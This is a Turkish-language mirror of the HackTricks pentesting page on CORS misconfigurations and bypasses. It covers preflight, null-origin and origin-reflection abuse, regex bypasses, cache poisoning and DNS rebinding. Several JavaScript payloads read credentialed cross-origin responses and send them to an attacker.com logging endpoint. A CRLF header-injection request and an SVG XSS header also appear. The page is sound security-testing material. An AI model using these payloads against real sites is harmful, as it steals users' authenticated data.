Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-16 22:18:27 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cors-bypass.md

33 KiB
Raw Blame History

CORS - Yanlış Yapılandırmalar ve Atlatma

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

{% embed url="https://websec.nl/" %}

CORS Nedir?

Çapraz Kaynak Kaynak Paylaşımı (CORS) standardı sunucuların varlıklarına kimin erişebileceğini ve harici kaynaklardan hangi HTTP istek yöntemlerinin izinli olduğunu tanımlamasına olanak tanır.

Aynı köken politikası, bir kaynağı isteyen sunucu ile kaynağı barındıran sunucunun aynı protokolü (örneğin, http://), alan adını (örneğin, internal-web.com) ve portu (örneğin, 80) paylaşmasını zorunlu kılar. Bu politika altında, yalnızca aynı etki alanı ve porttan web sayfalarına kaynaklara erişim izinlidir.

http://normal-website.com/example/example.html bağlamında aynı köken politikasının uygulanması aşağıdaki gibi gösterilmiştir:

Erişilen URL Erişime izin verildi mi?
http://normal-website.com/example/ Evet: Aynı şema, etki alanı ve port
http://normal-website.com/example2/ Evet: Aynı şema, etki alanı ve port
https://normal-website.com/example/ Hayır: Farklı şema ve port
http://en.normal-website.com/example/ Hayır: Farklı etki alanı
http://www.normal-website.com/example/ Hayır: Farklı etki alanı
http://normal-website.com:8080/example/ Hayır: Farklı port*

*Internet Explorer, aynı köken politikasını uygularken port numarasını dikkate almaz, bu nedenle bu erişime izin verir.

Access-Control-Allow-Origin Başlığı

Bu başlık çoklu kökenlere, bir null değerine veya joker * değerine izin verebilir. Ancak, hiçbir tarayıcı çoklu kökenleri desteklemez, ve joker * kullanımı kısıtlamalara tabidir. (Joker yalnız kullanılmalıdır ve Access-Control-Allow-Credentials: true ile birlikte kullanımı izin verilmez.)

Bu başlık, bir web sitesi tarafından başlatılan çapraz etki alanı kaynak isteğine yanıt olarak bir sunucu tarafından verilir, tarayıcı otomatik olarak bir Origin başlığı ekler.

Access-Control-Allow-Credentials Başlığı

Varsayılan olarak, çapraz köken istekler, çerezler veya Yetkilendirme başlığı gibi kimlik bilgileri olmadan yapılır. Ancak, bir çapraz etki alanı sunucusu, kimlik bilgileri gönderildiğinde yanıtın okunmasına izin verebilir, bunu Access-Control-Allow-Credentials başlığını true olarak ayarlayarak yapabilir.

true olarak ayarlandığında, tarayıcı kimlik bilgilerini (çerezler, yetkilendirme başlıkları veya TLS istemci sertifikaları) iletecektir.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Ön uçu isteği

Çapraz Alan İletişiminde Ön Uçu İsteklerinin Anlaşılması

Belirli koşullar altında çapraz alan isteği başlatılırken, standart olmayan bir HTTP yöntemi kullanılması (HEAD, GET, POST dışında herhangi bir şey), yeni başlıklar tanıtılması veya özel bir Content-Type başlık değeri kullanılması gibi durumlarda, bir ön uçu isteği gerekebilir. Bu ön hazırlık isteği, OPTIONS yöntemini kullanarak sunucuyu, yaklaşan çapraz köken isteğinin niyetlerini, kullanmayı planladığı HTTP yöntemlerini ve başlıkları içeren bilgilendirir.

Çapraz Köken Kaynak Paylaşımı (CORS) protokolü, istenilen çapraz köken işleminin olanaklılığını belirlemek için bu ön uçu kontrolünü zorunlu kılar, izin verilen yöntemleri, başlıkları ve kökenin güvenilirliğini doğrulayarak. Bir ön uçu isteğine gerek olmayan koşullar hakkında detaylı bilgi için Mozilla Geliştirici Ağı (MDN) tarafından sağlanan kapsamlı kılavuza başvurun.

Ön uçu isteğinin olmamasının yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmadığını unutmamak önemlidir. Bu başlıklar olmadan tarayıcı, çapraz köken isteğinden gelen yanıtı işleme yeteneğinden yoksun kalır.

PUT yöntemini kullanmayı amaçlayan ve Special-Request-Header adında özel bir başlık içeren bir ön uçu isteğinin aşağıdaki örneğini göz önünde bulundurun:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Sunucu, aşağıdaki gibi kabul edilen yöntemleri, izin verilen kaynağı ve diğer CORS politikası ayrıntılarını belirten başlıklar döndürebilir:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Bu başlık, gerçek istek sırasında hangi başlıkların kullanılabileceğini belirtir. Sunucu tarafından, istemciden gelen isteklerde izin verilen başlıkları göstermek için ayarlanır.
  • Access-Control-Expose-Headers: Bu başlık aracılığıyla sunucu, basit yanıt başlıklarının yanı sıra yanıtın bir parçası olarak hangi başlıkların açıklanabileceği konusunda istemciyi bilgilendirir.
  • Access-Control-Max-Age: Bu başlık, bir önceden uçuş isteğinin sonuçlarının ne kadar süreyle önbelleğe alınabileceğini belirtir. Sunucu, önceden uçuş isteği tarafından döndürülen bilgilerin ne kadar süreyle yeniden kullanılabileceğini saniye cinsinden belirler.
  • Access-Control-Request-Headers: Önceden uçuş isteklerinde kullanılan bu başlık, istemci tarafından gerçek istekte hangi HTTP başlıklarının kullanılacağını sunucuya bildirmek için ayarlanır.
  • Access-Control-Request-Method: Bu başlık da önceden uçuş isteklerinde kullanılır ve istemci tarafından gerçek istekte hangi HTTP yönteminin kullanılacağını belirtmek için ayarlanır.
  • Origin: Bu başlık tarayıcı tarafından otomatik olarak ayarlanır ve çapraz köken isteğinin kökenini belirtir. Sunucu, CORS politikasına dayanarak gelen isteğin izin verilip verilmeyeceğini değerlendirmek için kullanır.

Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) GET/POST isteğinde önceden uçuş isteği gönderilmez (isteğin doğrudan gönderilir), ancak yanıtın başlıklarını/gövdesine erişmek istiyorsanız, buna izin veren bir Access-Control-Allow-Origin başlığı içermelidir.
Bu nedenle, CORS CSRF'ye karşı koruma sağlamaz (ancak faydalı olabilir).

Yerel Ağ İstekleri Önceden Uçuş İsteği

  1. Access-Control-Request-Local-Network: Bu başlık, istemcinin isteğine dahil edilir ve sorgunun yerel ağ kaynağına yönelik olduğunu belirtir. Sunucuya, isteğin yerel ağdan geldiğini bildirmek için bir işaret olarak hizmet eder.
  2. Access-Control-Allow-Local-Network: Yanıt olarak, sunucular istenen kaynağın yerel ağ dışındaki varlıklarla paylaşılabileceğini iletmek için bu başlığı kullanır. Farklı ağ sınırları arasında kaynakların paylaşılmasına yeşil ışık yakarak, kontrollü erişimi sağlarken güvenlik protokollerini korur.

Yerel ağ isteğine izin veren geçerli bir yanıtın, yanıtta ayrıca Access-Controls-Allow-Local_network: true başlığını içermesi gerekir:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Linux 0.0.0.0 IP'sinin bu gereksinimleri atlamak için localhost'a erişmek için çalıştığını unutmayın çünkü bu IP adresi "yerel" olarak kabul edilmez.

Ayrıca, Yerel Ağ gereksinimlerini atlamak mümkündür eğer yerel bir uç noktanın genel IP adresini kullanıyorsanız (örneğin yönlendiricinin genel IP'si). Çünkü birkaç durumda, genel IP'ye erişilse bile, eğer yerel ağdan erişiliyorsa, erişim sağlanacaktır. {% endhint %}

Sömürülebilir yanlış yapılandırmalar

Access-Control-Allow-Credentials'ın true olarak ayarlanmasının çoğu gerçek saldırılar için bir ön koşul olduğu gözlemlenmiştir. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin verir, saldırının etkinliğini artırır. Bu olmadan, tarayıcıya istek göndermek yerine kendiniz yapmanın avantajı azalır, çünkü bir kullanıcının çerezlerini kullanmak olanaksız hale gelir.

İstismar Edilebilir Ağ Konumu Kimliği

Kurbanın ağ konumunun kimlik doğrulaması olarak kullanıldığı bir istisna bulunmaktadır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına izin verir, IP tabanlı kimlik doğrulamayı atlayarak iç ağ uygulamalarına erişimi sağlar. Bu yöntem, DNS yeniden bağlama ile benzer etkilere sahip olmasına rağmen, daha kolay istismar edilebilir.

Access-Control-Allow-Origin içinde Origin Yansıması

Origin başlığının değerinin Access-Control-Allow-Origin içinde yansıtıldığı gerçek dünya senaryosu, bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle teorik olarak olası değildir. Bununla birlikte, CORS'u birden fazla URL için etkinleştirmek isteyen geliştiriciler, Access-Control-Allow-Origin başlığını Origin başlığının değerini kopyalayarak dinamik olarak oluşturabilir. Bu yaklaşım, özellikle bir saldırganın geçerlilik mantığını aldatarak meşru görünmesi için tasarlanmış bir alan adı kullandığında, zayıflıklara neden olabilir.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

null Origin'un Sömürülmesi

Yönlendirmeler veya yerel HTML dosyaları gibi durumlar için belirtilen null kökeni, benzersiz bir konuma sahiptir. Bazı uygulamalar, yerel geliştirmeyi kolaylaştırmak için bu kökeni beyaz listeye alırken, yanlışlıkla herhangi bir web sitesinin, bir kum havuzu içindeki iframe aracılığıyla null kökenini taklit etmesine izin vererek CORS kısıtlamalarını atlamasına olanak tanır.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Düzenli İfade Atlatma Teknikleri

Bir alan adı beyaz listesiyle karşılaşıldığında, saldırganın alan adını beyaz listelenmiş bir alan adına eklemesi veya alt alan devralma güvenlik açıklarını sömürmesi gibi atlatma fırsatlarını test etmek hayati önem taşır. Ayrıca, alan adı doğrulaması için kullanılan düzenli ifadeler, alan adı adlandırma kurallarındaki ince detayları göz ardı edebilir ve daha fazla atlatma fırsatı sunabilir.

Gelişmiş Düzenli İfade Atlatmaları

Regex desenleri genellikle alfasayısal, nokta (.), ve kısa çizgi (-) karakterlerine odaklanırken, diğer olasılıkları ihmal eder. Örneğin, tarayıcılar ve regex desenleri tarafından farklı yorumlanan karakterleri içeren bir alan adı, güvenlik kontrollerini atlatmak için kullanılabilir. Safari, Chrome ve Firefox'un alt alanlardaki alt çizgi karakterlerini ele alış şekli, bu tür farklılıkların alan adı doğrulama mantığını atlatmak için nasıl sömürülebileceğini gösterir.

Bu atlatma kontrolünün daha fazla bilgi ve ayarları için: https://www.corben.io/advanced-cors-techniques/ ve https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Bir Alt Alan İçinde XSS'den

Geliştiriciler genellikle, bilgi istemek için izin verilen alan adlarını beyaz listeye alarak CORS sömürüsüne karşı koruyucu mekanizmaları uygularlar. Bu önlemlere rağmen, sistemin güvenliği kusursuz değildir. Beyaz listelenen alan adları içinde bile tek bir savunmasız alt alanın bulunması, XSS (Çapraz Site Komut Dosyası) gibi diğer güvenlik açıklarından dolayı CORS sömürüsüne kapı açabilir.

Örneğin, requester.com adlı bir alan adının, başka bir alan adı olan provider.com'dan kaynaklara erişime izin verildiği bir senaryoyu düşünelim. Sunucu tarafı yapılandırması şöyle görünebilir:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

Bu kurulumda, requester.com alt alan adlarının hepsine erişim izinlidir. Ancak, bir alt alan adı, örneğin sub.requester.com, bir XSS zafiyeti ile tehlikeye düşerse, bir saldırgan bu zayıflığı kullanabilir. Örneğin, sub.requester.com'a erişimi olan bir saldırgan, XSS zafiyetini kullanarak CORS politikalarını atlayabilir ve provider.com üzerindeki kaynaklara kötü niyetli bir şekilde erişebilir.

Sunucu tarafı önbellek zehirlenmesi

Bu araştırmadan

HTTP başlığı enjeksiyonu aracılığıyla sunucu tarafı önbellek zehirlenmesini sömürerek, depolanan Cross-Site Scripting (XSS) zafiyetinin tetiklenebileceği mümkündür. Bu senaryo, bir uygulamanın Origin başlığını yasaklı karakterler için temizlemediğinde ortaya çıkar ve özellikle Internet Explorer ve Edge kullanıcıları için bir zafiyet oluşturur. Bu tarayıcılar, (0x0d) karakterini yasal bir HTTP başlık terminatorü olarak işler ve HTTP başlığı enjeksiyonu zafiyetlerine yol açar.

Origin başlığının manipüle edildiği aşağıdaki isteği düşünün:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer ve Edge yanıtı şu şekilde yorumlar:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Bu zafiyeti doğrudan sömürmek için bir web tarayıcısının hatalı bir başlık göndermesi mümkün olmasa da, Burp Suite gibi araçlar kullanılarak elle oluşturulmuş bir istek ile sunucu tarafında önbelleğe alınan yanıtın yanlışlıkla diğer kullanıcılara sunulmasına neden olabilir. Oluşturulan yük, sayfanın karakter setini UTF-7'ye değiştirmeyi amaçlar. UTF-7, belirli bağlamlarda betik olarak yürütülebilecek şekilde karakterleri kodlayabilme yeteneği nedeniyle XSS zafiyetleri ile sık ​​ilişkilendirilen bir karakter kodlamasıdır.

Daha fazla bilgi için PortSwigger adresine bakın.

Not: Özellikle sunucu tarafı önbellek zehirlenmesi aracılığıyla HTTP başlık enjeksiyonu zafiyetlerinin sömürülmesi, HTTP başlıkları da dahil olmak üzere tüm kullanıcı tarafından sağlanan girdilerin doğrulanması ve temizlenmesinin kritik önemini vurgular. Bu tür zafiyetleri önlemek için girdi doğrulamasını içeren sağlam bir güvenlik modeli kullanın.

İstemci Tarafı Önbellek Zehirlenmesi

Bu araştırmadan

Bu senaryoda, uygun kodlama olmadan özel bir HTTP başlığının içeriğini yansıtan bir web sayfası örneği gözlemlenir. Özellikle, web sayfası, X-User-id başlığında bulunan içeriği geri yansıtır; bu içerik kötü amaçlı JavaScript içerebilir. Başlık, yüklenirken JavaScript kodunu yürütmek için tasarlanmış bir SVG resim etiketi içerdiğinde gösterildiği gibi.

Çapraz Kaynak Paylaşımı (CORS) politikaları özel başlıkların gönderilmesine izin verir. Ancak, CORS kısıtlamaları nedeniyle yanıtın tarayıcı tarafından doğrudan işlenmemesi durumunda, böyle bir enjeksiyonun faydası sınırlı gibi görünebilir. Kritik nokta, tarayıcının önbellek davranışını düşünürken ortaya çıkar. Vary: Origin başlığı belirtilmediğinde, kötü amaçlı yanıtın tarayıcı tarafından önbelleğe alınması mümkün hale gelir. Sonuç olarak, bu önbelleğe alınmış yanıt, URL'ye doğrudan gezinildiğinde doğrudan render edilebilir. Bu mekanizma, istemci tarafı önbelleğini kullanarak saldırının güvenilirliğini artırır.

Bu saldırıyı göstermek için, bir JavaScript örneği sağlanmıştır; bu, bir JSFiddle gibi bir web sayfası ortamında yürütülmek üzere tasarlanmıştır. Bu betik basit bir eylem gerçekleştirir: belirtilen URL'ye kötü amaçlı JavaScript içeren özel bir başlık içeren bir istek gönderir. Başarılı istek tamamlandığında, hedef URL'ye gitmeye çalışır ve yanıtın Vary: Origin başlığının doğru şekilde ele alınmaması durumunda enjekte edilen betiğin yürütülmesini tetikleyebilir.

Bu saldırıyı gerçekleştirmek için kullanılan JavaScript'in özetlenmiş bir açıklaması aşağıda verilmiştir:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Atlatma

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, aynı zamanda Cross-Site Script Inclusion olarak bilinen, script etiketi kullanılarak kaynaklar dahil edilirken Aynı Köken Politikası'nın (SOP) uygulanmadığı bir zayıflık türüdür. Bu, scriptlerin farklı alanlardan dahil edilebilmesi gerektiği gerçeğinden faydalanır. Bu zayıflık, bir saldırganın script etiketi kullanılarak dahil edilen herhangi bir içeriğe erişmesine ve okumasına izin verir.

Bu zayıflık, özellikle dinamik JavaScript veya JSONP (JSON ile Dolgulu) söz konusu olduğunda önemli hale gelir, özellikle çerezler gibi ortam yetkilendirme bilgileri kimlik doğrulaması için kullanıldığında. Farklı bir ana bilgisayardan bir kaynak istendiğinde çerezler dahil edilir ve saldırganın erişimine açık hale gelir.

Bu zayıflığı daha iyi anlamak ve hafifletmek için, web uygulamalarınızda potansiyel XSSI zayıflıklarını tanımlamanıza ve ele almanıza yardımcı olabilecek BurpSuite eklentisini kullanabilirsiniz. https://github.com/kapytein/jsonp adresinde bulunan bu eklenti, web uygulamalarınızdaki XSSI zayıflıklarını belirlemeye ve ele almaya yardımcı olabilir.

Farklı XSSI türleri ve bunları nasıl sömürüleceği hakkında daha fazla bilgi için buraya bakın.

İsteğe bir callback parametresi eklemeyi deneyin. Belki sayfa veriyi JSONP olarak göndermek üzere hazırlanmıştır. Bu durumda sayfa, CORS politikasını atlayacak olan Content-Type: application/javascript ile veriyi geri gönderecektir.

Kolay (anlamsız?) atlatma

Access-Control-Allow-Origin kısıtlamasını atlatmanın bir yolu, bir web uygulamasından sizin adınıza bir istekte bulunmasını ve yanıtı geri göndermesini istemektir. Ancak, bu senaryoda, son kurbanın kimlik bilgileri farklı bir alan adına yapılan istek nedeniyle gönderilmez.

  1. CORS-escape: Bu araç, isteğinizi başlıklarıyla birlikte ileten bir proxy sağlar ve aynı zamanda Origin başlığını istenen alan adıyla eşleştirmek için sahte bir Origin başlığı oluşturur. Bu, CORS politikasını etkili bir şekilde atlar. İşte XMLHttpRequest ile kullanım örneği:
  2. simple-cors-escape: Bu araç, istekinizi olduğu gibi iletmek yerine sunucunun belirtilen parametrelerle kendi isteğini yapmasını sağlar.

Iframe + Popup Atlatma

e.origin === window.origin gibi CORS kontrollerini atlatmak için bir iframe oluşturarak ve ondan yeni bir pencere açarak atlatma yapabilirsiniz. Daha fazla bilgi için aşağıdaki sayfaya bakın:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

TTL Aracılığıyla DNS Rebinding

TTL aracılığıyla DNS rebinding, DNS kayıtlarını manipüle ederek belirli güvenlik önlemlerini atlatmak için kullanılan bir tekniktir. Nasıl çalıştığını aşağıda bulabilirsiniz:

  1. Saldırgan bir web sayfası oluşturur ve kurbanın buna erişmesini sağlar.
  2. Saldırgan daha sonra kendi alan adının DNS (IP) adresini kurbanın web sayfasına işaret edecek şekilde değiştirir.
  3. Kurbanın tarayıcısı DNS yanıtını önbelleğe alır ve bu yanıtın ne kadar süre boyunca geçerli olacağını belirten bir TTL (Yaşam Süresi) değeri olabilir.
  4. TTL süresi dolduğunda, kurbanın tarayıcısı yeni bir DNS isteği yapar, bu da saldırganın kurbanın sayfasında JavaScript kodunu yürütmesine olanak tanır.
  5. Saldırgan, kurbanın IP'si üzerinde kontrolü sürdürerek, kurbandan herhangi bir çerezi kurban sunucusuna göndermeden kurbandan bilgi toplayabilir.

Bu tekniğin hemen kötüye kullanılmasını önleyebilecek tarayıcılarda önbellekleme mekanizmaları olduğunu unutmamak önemlidir, hatta düşük TTL değerleriyle bile.

DNS rebinding, kurban tarafından gerçekleştirilen açık IP kontrollerini atlatmak veya bir kullanıcının veya botun aynı sayfada uzun süre kalmasına izin veren senaryolarda kullanışlı olabilir, bu da önbelleğin süresinin dolmasına izin verir.

DNS rebinding'i hızlı bir şekilde kötüye kullanmanız gerekiyorsa, https://lock.cmpxchg8b.com/rebinder.html gibi hizmetleri kullanabilirsiniz.

Kendi DNS rebinding sunucunuzu çalıştırmak için DNSrebinder (https://github.com/mogwailabs/DNSrebinder) gibi araçları kullanabilirsiniz. Bu, yerel port 53/udp'nizi açmayı, buna işaret eden bir A kaydı oluşturmayı (örneğin, ns.example.com), ve önceden oluşturulan A alt alan adına işaret eden bir NS kaydı oluşturmayı içerir (örneğin, ns.example.com). ns.example.com alt alanının herhangi bir alt alanı daha sonra ana bilgisayarınız tarafından çözümlenecektir.

Daha fazla anlayış ve deneyim için http://rebind.it/singularity.html adresinde halka açık çalışan bir sunucuyu keşfedebilirsiniz.

DNS Rebinding Aracılığıyla DNS Önbelleği Saldırısı

DNS rebinding aracılığıyla DNS önbelleği saldırısı, tarayıcıların önbellekleme mekanizmasını atlatmak ve ikinci bir DNS isteği yapmaya zorlamak için kullanılan başka bir tekniktir. Nasıl çalıştığını aşağıda bulabilirsiniz:

  1. İlk olarak, kurban bir DNS isteği yapar yapmaz, saldırganın IP adresiyle yanıtlanır.
  2. Önbellek savunmasını atlatmak için saldırgan bir hizmet işçisi kullanır. Hizmet işçisi, DNS önbelleğini doldurur ve bu şekilde önbelleğe alınan saldırgan sunucu adını siler.
  3. Kurbanın tarayıcısı ikinci bir DNS isteği yapar yapmaz, artık genellikle yerel ana bilgisayarı işaret eden IP adresi 127.0.0.1 ile yanıtlanır.

Hizmet işçisi aracılığıyla DNS önbelleğini doldurarak, saldırgan DNS çözümleme sürecini manipüle edebilir ve kurbanın tarayıcısını ikinci bir istek yapmaya zorlayabilir, bu sefer istenen saldırganın IP adresine çözünmesini sağlar.

DNS Rebinding Aracılığıyla Önbellek

Önbellek savunmasını atlatmanın başka bir yolu, DNS sağlayıcısında aynı alt alan adı için birden fazla IP adresini kullanmaktır. Nasıl çalıştığını aşağıda bulabilirsiniz:

  1. Saldırgan, aynı alt alan adı için DNS sağlayıcısında iki A kaydı (veya iki IP'li tek bir A kaydı) ayarlar.
  2. Bir tarayıcı bu kayıtları kontrol ettiğinde, her iki IP adresini de alır.
  3. Tarayıcı, önce saldırganın IP adresini kullanmaya karar verirse, saldırgan, aynı alan adına HTTP istekleri gerçekleştiren bir yük gönderebilir.
  4. Ancak, saldırgan kurbanın IP adresini elde ettikten sonra, kurbanın tarayıcısına yanıt vermekten vazgeçer.
  5. Tarayıcı, alan adının yanıt vermediğini fark edince, ikinci verilen IP adresini kullanmaya geçer.
  6. İkinci IP adresine erişerek, tarayıcı Aynı Köken Politikası'nı (SOP) atlar ve saldırganın bunu kötüye kullanarak kurbandan bilgi toplamasına ve dışarıya çıkarmasına olanak tanır.

Bu teknik, bir alan adı için birden fazla IP adresi sağlandığında tarayıcıların davranışını kullanır. Yanıtları stratejik olarak kontrol ederek ve tarayıcının IP adresi seçimini manipüle ederek, bir saldırgan SOP'yi kötüye kullanabilir ve kurbandan bilgiye erişebilir.

{% hint style="warning" %} Localhost'a erişmek için Windows'ta 127.0.0.1 ve linux'ta 0.0.0.0'ı yeniden bağlamayı denemelisiniz.
Godaddy veya cloudflare gibi sağlayıcılar, 0.0.0.0 IP'sini kullanmama izin vermedi, ancak AWS route53, 2 IP'li bir A kaydı oluşturmama izin verdi ve bunlardan biri "0.0.0.0" idi.

{% endhint %}

Daha fazla bilgi için https://unit42.paloaltonetworks.com/dns-rebinding/ adresine bakabilirsiniz.

Diğer Yaygın Atlatmalar

  • Dahili IP'ler izin verilmiyorsa, muhtemelen 0.0.0.0 yasağı unutulmuş olabilir (Linux ve Mac'te çalışır)
  • Dahili IP'ler izin verilmiyorsa, localhost için bir CNAME ile yanıt verin (Linux ve Mac'te çalışır)
  • Dahili IP'ler izin verilmiyorsa DNS yanıtlarında, www.corporate.internal gibi dahili hizmetlere CNAME'ler yanıtlayabilirsiniz.

DNS Yeniden Hedefleme Silahlandırılmış

Önceki atlatma teknikleri hakkında daha fazla bilgiyi ve aşağıdaki aracı nasıl kullanacağınızı Gerald Doussot - DNS Rebinding Saldırılarının Durumu ve Kökenin Tekliği - DEF CON 27 Konferansı konuşmasında bulabilirsiniz.

Singularity of Origin, DNS rebinding saldırıları gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki güvenlik açıklarını sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.

DNS Yeniden Hedefleme Karşısında Gerçek Koruma

  • Dahili hizmetlerde TLS kullanın
  • Verilere erişim için kimlik doğrulama isteyin
  • Host başlığını doğrulayın
  • https://wicg.github.io/private-network-access/: Genel sunucuların dahili sunuculara erişmek istediğinde her zaman bir önceden uçuş isteği gönderilmesini öneren bir teklif

Araçlar

CORS politikalarındaki olası yapılandırma hatalarını test edin

Referanslar

{% embed url="https://websec.nl/" %}

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: